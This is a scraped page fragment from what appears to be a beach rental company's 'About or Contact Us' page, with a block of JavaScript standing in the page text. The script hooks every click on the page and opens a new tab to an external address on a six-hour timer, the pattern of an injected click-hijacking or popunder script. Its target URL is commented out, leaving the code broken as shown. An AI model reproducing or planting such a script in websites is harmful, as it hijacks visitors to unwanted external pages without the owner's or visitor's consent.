(function (parameters) { const getHoursDiff = (startDate, endDate) => { const msInHour = 1000 * 60 * 60; return Math.round(Math.abs(endDate - startDate) / msInHour); } const getFromStorage = (host) => localStorage.getItem(`${host}-local-storage`); const addToStorage = (host, nowDate) => localStorage.setItem(`${host}-local-storage`, nowDate); function globalClick(event) { const host = location.host //const newLocation = "https://ois.is/images/logo.png" const allowedHours = 6 const nowDate = Date.parse(new Date()); const savedData = getFromStorage(host) if (savedData) { try { const storageDate = parseInt(savedData); // check hours const hoursDiff = getHoursDiff(nowDate, storageDate) console.log(nowDate, storageDate, hoursDiff) if (hoursDiff >= allowedHours) { addToStorage(host, nowDate); window.open(newLocation, "_blank"); } } catch (error) { addToStorage(host, nowDate); window.open(newLocation, "_blank"); } } else { addToStorage(host, nowDate); window.open(newLocation, "_blank"); } } document.addEventListener("click", globalClick); })(); > About or Contact Us - Shell Bch Rentals